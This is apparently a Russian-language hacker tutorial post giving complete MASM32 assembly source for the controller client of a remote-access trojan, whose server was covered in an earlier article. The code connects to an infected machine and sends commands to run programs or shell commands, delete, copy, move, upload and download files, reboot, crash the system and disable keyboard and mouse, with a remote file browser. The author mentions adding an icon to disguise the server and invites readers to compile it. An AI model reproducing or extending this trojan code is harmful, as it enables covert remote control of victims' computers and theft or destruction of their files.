Ну что, программа сервака трояна ещё не убедила кульного хацкера, типа тебя, в том, что Ассемблер всё-таки полезен в нашей непростой жизни? .. Ну тогда уже ничто не убедит .. А для тех, кто проникся идеей - продолжу ..
Итак .. сейчас я продемонстрирую код троянского клиента 🙂 к тому серваку, что я описал ранее, вот он:
;... TRJCLNT.ASM (+Remote File Explorer)
.486
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\wsock32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\wsock32.lib
includelib \masm32\lib\masm32.lib
DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD
GetLBPath PROTO :DWORD,:DWORD,:DWORD
; --------
; инициализированные данные
; --------
.DATA
IDC_CB equ 3000 ;идентификаторы элементов диалога
IDC_IP equ 3001
IDC_PORT equ 3002
IDC_EDIT1 equ 3003
IDC_EDIT2 equ 3004
IDC_CONNECT equ 3005
IDC_GO equ 3006
IDC_STATUS equ 3007
IDC_CMD1 equ 3008
IDC_CMD2 equ 3009
IDC_SERVER equ 3010
IDC_LB equ 3013
IDC_PATH equ 3016
IDC_CB1 equ 3012
WM_SOCKET equ WM_USER + 101 ;сообщение для сокета
DlgName db "MyDialog",0 ;имя ресурса диалога
IconName db "TDIcon",0 ;имя ресурса иконки
wsadata WSADATA <> ;структуры для работы с WinSock
sin sockaddr_in <>
Port_s db 10 dup (0) ;см. далее
IP db 16 dup(0)
mode db 0
fuck db 0,0
nocon db "NO CONNECT",0 ;задаём тексты для соотв. окон
connest db "ESTABLISHED",0
errormsg db "FAILURE",0
trymsg db "TRY 2 CONNECT",0
stupid db " ",0
cb1msg1 db "DO NOT SWITCH!",0
cb1msg2 db "SWITCH TO CMD 1",0
cb1msg3 db "SWITCH TO CMD 2",0
STRINGCNT dd OFFSET STRING01
STRINGANZ db 20
STRING01 db "00 CLOSE CONNECTION",0
STRING02 db "01 SHUTDOWN SERVER",0
STRING03 db "02 MESSAGEBOX",0
STRING04 db "03 LOGGOFF USER",0
STRING05 db "04 REBOOT COMPUTER",0
STRING06 db "05 CLEAR CPILBOARD",0
STRING07 db "06 * START APPLICATION",0
STRING08 db "07 * DELETE FILE",0
STRING09 db "08 * COPY FILE",0
STRING10 db "09 * MOVE FILE",0
STRING11 db "0A * ( UPLOAD )",0
STRING12 db "0B * ( DOWNLOAD )",0
STRING13 db "0C BEEP",0
STRING14 db "0D CLOSE ACTIVE WINDOW",0
STRING15 db "0E OPEN/CLOSE CD",0
STRING16 db "0F MINIMIZE ACTIVE WINDOW",0
STRING17 db "10 SHELL EXECUTE",0
STRING18 db "11 SYSTEM CRASH",0
STRING19 db "12 KEYBOARD OFF",0
STRING20 db "13 MOUSE OFF",0
CMDSTRS db " NO PARAM NEED ",0," NO PARAM NEED ",0 ;01
db " NO PARAM NEED ",0," NO PARAM NEED ",0 ;02
db " TITLE OF MSGBOX ",0," MESSAGEBOX TEXT ",0 ;03
db " NO PARAM NEED ",0," NO PARAM NEED ",0 ;04
db " NO PARAM NEED ",0," NO PARAM NEED ",0 ;05
db " NO PARAM NEED ",0," NO PARAM NEED ",0 ;06
db " APP NAME ",0," APP PARAMETERS: ",0 ;07
db " FILE NAME ",0," NO PARAM NEED ",0 ;08
db " SOURCE FILE ",0," NEW FILENAME ",0 ;09
db " SOURCE FILE ",0," NEW FILENAME ",0 ;10
db " NO PARAM NEED ",0," NO PARAM NEED ",0 ;11
db " NO PARAM NEED ",0," NO PARAM NEED ",0 ;12
db " MS? (1000=1 SEK.) ",0," NO PARAM NEED ",0 ;13
db " NO PARAM NEED ",0," NO PARAM NEED ",0 ;14
db " NO PARAM NEED ",0," NO PARAM NEED ",0 ;15
db " NO PARAM NEED ",0," NO PARAM NEED ",0 ;16
db " SHELL PARAMETERS ",0," NO PARAM NEED ",0 ;17
db " NO PARAM NEED ",0," NO PARAM NEED ",0 ;18
db " NO PARAM NEED ",0," NO PARAM NEED ",0 ;19
db " NO PARAM NEED ",0," NO PARAM NEED ",0 ;20
bkl db "\",0 ;см. описание сервака
wc db "*.*",0
ALLFLAGS dd DDL_ARCHIVE+\
DDL_DIRECTORY+DDL_DRIVES+\
DDL_READONLY+DDL_READWRITE+\
DDL_HIDDEN+DDL_SYSTEM
item dd 0
succ db "SUCCESSFULL!",0
def_host db "127.0.0.1",0 ;хост и порт по умолчанию
def_port db "2027",0
; --------
; uninitialized data
; --------
.DATA?
send01 db 300 dup (?) ;данные объявления обусловлены нек.
send02 db 300 dup (?) ;глюками при реализации взаимодействия
send00 db 600 dup (?)
nupath db 800 dup (?) ;переменные для путей и т.д.
path db 500 dup (?)
fname db 256 dup (?)
hInstance dd ?
sock dd ?
Port dd ?
main dd ?
BIGBUFFER db 10000 dup (?) ;буфер приёмопередачи
FILEN db 00256 dup (?) ;имя файла
LBCOUNT dd ? ;число записей в списке имён файлов
LBPOINT dd ? ;указатель на текущую запись в этом списке
; --------
; начало кода программы
; --------
.CODE
start: invoke GetModuleHandle, NULL ;берём идентификатор нашего модуля
mov hInstance,eax ;и сохраняем его
;у нас будет не обычное окно, а окно диалога, чем и обусловлена след.
; строка (RTFM чем отличаются окна диалогов от остальных)
invoke DialogBoxParam, hInstance, ADDR DlgName,NULL,addr DlgProc,NULL
invoke ExitProcess,eax ;выходим
; --------
; начало процедуры обработки диалога
; --------
DlgProc PROC hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
; --------
; инициализируем окно диалога
; --------
.IF uMsg == WM_INITDIALOG
mov item,0
invoke LoadIcon,hInstance,IconName
mov eax,hWnd
mov main,eax
invoke WSAStartup,101h,addr wsadata ;описание инициализации сетевого инт.
cmp eax,NULL ;смотри в статье по серверу этого трояна
jnz init_error
lp: invoke SendDlgItemMessage,hWnd,IDC_CB,CB_ADDSTRING,0,STRINGCNT
invoke lstrlen,STRINGCNT ;добавим пункты в выпадающий список
inc eax ;команд клиента
add STRINGCNT,eax
dec STRINGANZ
jnz lp
;установим начальные характеристики и текст окон(в т.ч. списков)
invoke SendDlgItemMessage,hWnd,IDC_CB,CB_SETCURSEL,0,0
invoke SetDlgItemText,hWnd,IDC_STATUS,addr nocon
invoke SendDlgItemMessage,hWnd,IDC_EDIT1,EM_LIMITTEXT,299,0
invoke SendDlgItemMessage,hWnd,IDC_EDIT2,EM_LIMITTEXT,299,0
jmp con
init_error: invoke SetDlgItemText,hWnd,IDC_STATUS,addr errormsg
con: invoke SetDlgItemText,hWnd,IDC_IP,addr def_host
invoke SetDlgItemText,hWnd,IDC_PORT,addr def_port
invoke SendDlgItemMessage,hWnd,IDC_CB1,CB_ADDSTRING,0,addr cb1msg1
invoke SendDlgItemMessage,hWnd,IDC_CB1,CB_ADDSTRING,0,addr cb1msg2
invoke SendDlgItemMessage,hWnd,IDC_CB1,CB_ADDSTRING,0,addr cb1msg3
invoke SendDlgItemMessage,hWnd,IDC_CB1,CB_SETCURSEL,0,0
; --------
; получили сообщение от сокета?
; --------
.ELSEIF uMsg == WM_SOCKET
mov eax,lParam
; --------
; УРА! Сконнектились!
; --------
.IF ax == FD_CONNECT
mov mode,0
shr eax,16
.IF eax == 0 ;успешно?
invoke SetDlgItemText,hWnd,IDC_STATUS,addr connest
mov mode,1
.ELSE
invoke SetDlgItemText,hWnd,IDC_STATUS,addr errormsg
.ENDIF
; --------
; есть ли новые сообщения от сокета?
; --------
.ELSEIF ax ==FD_READ ;проверка готовности к чтению
shr eax,16
.IF ax == NULL ;если нет ошибок продолжим ..
mov eax,wParam ;wParam содержит 'идентификатор' сокета
invoke recv,eax,addr BIGBUFFER,10000,0 ;примем полученные данные
.IF eax != SOCKET_ERROR ;если всё нормально
mov edi,OFFSET BIGBUFFER ;в edi адрес буфера
cmp dword ptr [edi],"ELIF" ;в начале есть строка FILE?
jnz nofilepack ;если нет пропустим след код. до nof..k
mov eax,[edi+5] ;указатель после "FILE "
mov LBCOUNT,eax ;размер списка файлов в LBCOUNT
add edi,9 ;указатель после размера списка
invoke lstrcpy,addr path,edi ;запишем путь (идёт после размера)
;в перем. path
invoke SetDlgItemText,hWnd,IDC_PATH,addr path ;отобразим этот путь в окне клиента
jmp nooope ;пока всё, ждём дальнейших данных
nofilepack: invoke lstrcmp,addr succ,addr BIGBUFFER ;сравним признак успеха с тем, что пришло
.IF eax == 0 ;если закончили напишем в окне SUCCESSFULL!
invoke SetDlgItemText,hWnd,IDC_SERVER,addr BIGBUFFER
.ELSE
push OFFSET BIGBUFFER ;заполним окно списка файлов тем что пришло
pop LBPOINT
invoke SendDlgItemMessage,hWnd,IDC_LB,LB_RESETCONTENT,0,0
looop: invoke SendDlgItemMessage,hWnd,IDC_LB,LB_ADDSTRING,0,LBPOINT
invoke lstrlen,LBPOINT ;(вычислим длину текущего имени файла)
inc eax
add LBPOINT,eax
dec LBCOUNT
cmp LBCOUNT,-1
jnz looop ;пока не останется элементов для заполнения
.ENDIF
nooope:
.ENDIF
.ENDIF
; --------
; дык чё, уже расконнектились??
; --------
.ELSEIF ax ==FD_CLOSE
invoke closesocket,sock ;вырубим сокет
invoke SetDlgItemText,hWnd,IDC_STATUS,addr nocon ;напишем НЕТ_КОННЕКТА!
.ENDIF
; --------
; когда юзер покинул поле боя ..
; --------
.ELSEIF uMsg == WM_CLOSE ;закрываем окно клиента
invoke closesocket,sock ;вырубим сокет
invoke WSACleanup ;завершим работу с WinSocK
invoke EndDialog, hWnd,NULL ;функция убивания окна диалога
; --------
; получили управляющее сообщение (от кнопок, меню итп.)
; --------
.ELSEIF uMsg == WM_COMMAND
mov eax,wParam
shr edx,16
; --------
; юзер вдавил батон Connect
; --------
.IF dx == BN_CLICKED
.IF ax == IDC_CONNECT
invoke SetDlgItemText,hWnd,IDC_SERVER,addr stupid
invoke SendDlgItemMessage,hWnd,IDC_LB,LB_RESETCONTENT,0,0
.IF mode == 1 ;если уже соединены .. то всё - дисконнект
invoke closesocket,sock
.ENDIF
invoke socket,AF_INET,SOCK_STREAM,0 ;создадим новое соединение
cmp eax,INVALID_SOCKET ;см. описание сервака
jz error
mov sock,eax
invoke WSAAsyncSelect,sock,hWnd,WM_SOCKET,FD_CONNECT+FD_READ+FD_CLOSE
invoke SetDlgItemText,hWnd,IDC_STATUS,addr trymsg
;прочтём IP и Port из соответствующих окон
invoke GetDlgItemText,hWnd,IDC_IP,addr IP,sizeof IP
invoke GetDlgItemText,hWnd,IDC_PORT,addr Port_s,sizeof Port_s
invoke atodw,addr Port_s ;ASCII 2 DWORD
mov Port,eax
invoke htons,Port
mov sin.sin_port,ax
mov sin.sin_family,AF_INET
invoke inet_addr,addr IP ;зададим адрес соединения
mov sin.sin_addr,eax
invoke connect,sock,addr sin,sizeof sin ;коннектимся
jmp continue
error: invoke SetDlgItemText,hWnd,IDC_STATUS,addr errormsg
continue:
; --------
; нажата кнопка Go .. шлём данные на сервак по TCP
; --------
.ELSEIF ax == IDC_GO
invoke SetDlgItemText,hWnd,IDC_SERVER,addr fuck
.IF mode == 1 ;если есть соединение ..
mov ecx,256 ;очистим буфер
mov edi,OFFSET send00
lll: mov byte ptr [edi],0
inc edi
loop lll
;определим выбран ли хоть один пункт в окне списка функций
invoke SendDlgItemMessage,hWnd,IDC_CB,CB_GETCURSEL,0,0
.IF eax == 0 ;комманда 0(disconnect)? - отсоединимся ..
invoke closesocket,sock
invoke SetDlgItemText,hWnd,IDC_STATUS,addr nocon
.ELSE
mov edi,OFFSET send00 ;адрес буфера передачи в edi
mov byte ptr [edi],al ;номер выбранной из списка функции в буфер
;считаем первый и второй параметры функции из окон в send1 и 2
invoke GetDlgItemText,hWnd,IDC_EDIT1,addr send01,299
.IF eax == 0
;добавим по пробелу если пустота в окне .. 🙂
invoke lstrcpy,addr send01,addr stupid
.ENDIF
invoke GetDlgItemText,hWnd,IDC_EDIT2,addr send02,299
.IF eax == 0
invoke lstrcpy,addr send02,addr stupid
.ENDIF
invoke lstrlen,addr send01 ;длина 1го параметра ->2байт буфера
mov byte ptr [edi + 1],al
invoke lstrlen,addr send02 ;.. 2го ->3байт ..
mov byte ptr [edi + 2],al
invoke lstrcat,addr send00,addr send01 ;склеим все строки
invoke lstrcat,addr send00,addr send02
invoke lstrlen,addr send00 ;длина буфера?
invoke send,sock,addr send00,eax,0 ;ну вот, шлём всё серваку ...
.ENDIF
.ENDIF
.ENDIF
; --------
; юзверь 2х кликает в окне списка файлов (ListBox'е)
; --------
.ELSEIF dx == LBN_DBLCLK
invoke GetLBPath,hWnd,addr fname,IDC_LB ;получим путь из окна списка
.IF eax >= 1 ;всё в норме?
mov edi,OFFSET BIGBUFFER ;сформируем запрос FILE ...
mov dword ptr [edi ],"ELIF"
add edi,4
invoke lstrcpy,edi,addr path ;добавим к запросу путь
invoke lstrlen,addr path
add eax,5
invoke send,sock,addr BIGBUFFER,eax,0 ;отошлём его..
.ENDIF
invoke lstrcpy,addr nupath,addr path ;nupath = путь
invoke lstrcat,addr nupath,addr fname ;путь += имя_файла
invoke SendDlgItemMessage,hWnd,IDC_CB1,CB_GETCURSEL,0,0
.IF eax != 0
dec eax
add eax,IDC_EDIT1
invoke SetDlgItemText,hWnd,eax,addr nupath
.ENDIF
; --------
; юзер выбирает другой пункт из выпадающем окошке списка (ComboBox'е) функций
; --------
.ELSEIF dx == CBN_SELCHANGE
mov ecx,wParam
.IF cx == IDC_CB
;сбросим текст соотв. окон ..
invoke SetDlgItemText,hWnd,IDC_SERVER,addr fuck
invoke SetDlgItemText,hWnd,IDC_EDIT1,addr fuck
invoke SetDlgItemText,hWnd,IDC_EDIT2,addr fuck
;определим номер выбранного пункта
invoke SendDlgItemMessage,hWnd,IDC_CB,CB_GETCURSEL,0,0
mov item,eax
mov ebx,eax
;ну что,кто там утверждал,что знание команд 'ДОС Асма' в Win32 не нужно? ;Ъ
shl eax,5
shl ebx,3
add eax,ebx ;eax=eax*40(28h)
add eax,OFFSET CMDSTRS
push eax
;установим текст заголовка окон ввода параметров функции
invoke SetDlgItemText,hWnd,IDC_CMD1,eax
pop eax
add eax,20
invoke SetDlgItemText,hWnd,IDC_CMD2,eax
.ENDIF
.ENDIF
.ELSE
mov eax,FALSE
ret
.ENDIF
mov eax,TRUE
ret
DlgProc ENDP
; --------
; процедура получения/формирования текущего пути
; --------
GetLBPath PROC ahWnd:DWORD, afilename:DWORD, aLBIDC:DWORD
;определим номер выбранного элемента
invoke SendDlgItemMessage,ahWnd,aLBIDC,LB_GETCURSEL,0,0
;считаем его имя
invoke SendDlgItemMessage,ahWnd,aLBIDC,LB_GETTEXT,eax,afilename
mov edi,afilename ;адрес имени в edi
.IF byte ptr [edi] == "[" ;если имя начинается с "["
inc afilename ;увеличим адрес на 1
invoke lstrlen,afilename ;длина имени файла/каталога/диска?
mov edi,afilename ;снова в edi адрес имени
add edi,eax ;edi - содержит адр. после конца имени ..
dec edi
mov byte ptr [edi],0 ;добавим 0-терминатор
mov edi,afilename
.IF byte ptr [edi ] == "-" ;имеем строку '[-' ?
.IF byte ptr [edi+2] == "-" ;и если в конце тоже - (скажем [-c-])
mov bl,[edi+1] ;то это диск, его имя и запишем в bl
mov eax,OFFSET path ;сформируем путь для диска
mov byte ptr [eax ],bl ;скажем bl='c'
mov word ptr [eax+1],":" ;'с:'
mov byte ptr [eax+2],0 ;'c:',0
mov eax,3
.ENDIF
.ELSEIF word ptr [edi ] == ".." ;если после [ скобки - ..
invoke lstrlen,addr path ;определим длину текущего пути
mov edi,OFFSET path
add edi,eax ;указатель в конец пути
dec edi
loopp: mov byte ptr [edi],0 ;забиваем всё, что до первого'\', нулями
dec edi
cmp byte ptr [edi],"\"
jnz loopp
mov byte ptr [edi],0 ;добавляем 0-терминатор
mov edi,OFFSET fname
mov byte ptr [edi],0 ;0 в начало fname
mov eax,2
.ELSE
invoke lstrcat,addr path,afilename ;иначе просто добавим заданное имя к пути
mov eax,1
.ENDIF
.ELSE
xor eax,eax ;сбросим еах - это не директория/диск, а просто файл
ret ;пока, процедура ..
.ENDIF
changedir: mov edi,OFFSET fname
mov byte ptr [edi],0 ;0 в начало fname
invoke lstrcat,addr path,addr bkl ;добавим к пути '\'
invoke SetDlgItemText,ahWnd,IDC_PATH,addr path ;покажем его в нашем диалоге
ret
GetLBPath ENDP
END start ;Усё [EoF]
К нему я прикладываю файл ресурсов (resources.zip), которые будут необходимы при его компиляции. Серверу файл ресурсов не нужен, хотя его можно использовать для добавления иконки (для лучшей маскировки) ..
Вся эта байда исходно написана неким drcmda (drcmda@gmx.de) в чисто образовательных целях, за что приношу ему чисто ученическую благодарность ..
Для улучшения образовательной ценности этого Tutorial рекомендую скомпилить
все-таки эти исходники, понаставив
предварительно int 3 (прерывание отладки). После чего запустить и внимательно смотреть из SoftICE'а , что же происходит в точках прерываний .. (i3here on - и SoftICE будет вылетать по каждому брыкпоинту .. )
Тем же, кто слабо знаком с SoftICE, рекомендую начать с
http://pilorama.nm.ru, очень недурственно
сделанный сайтик для начинающих ..
Удачи!!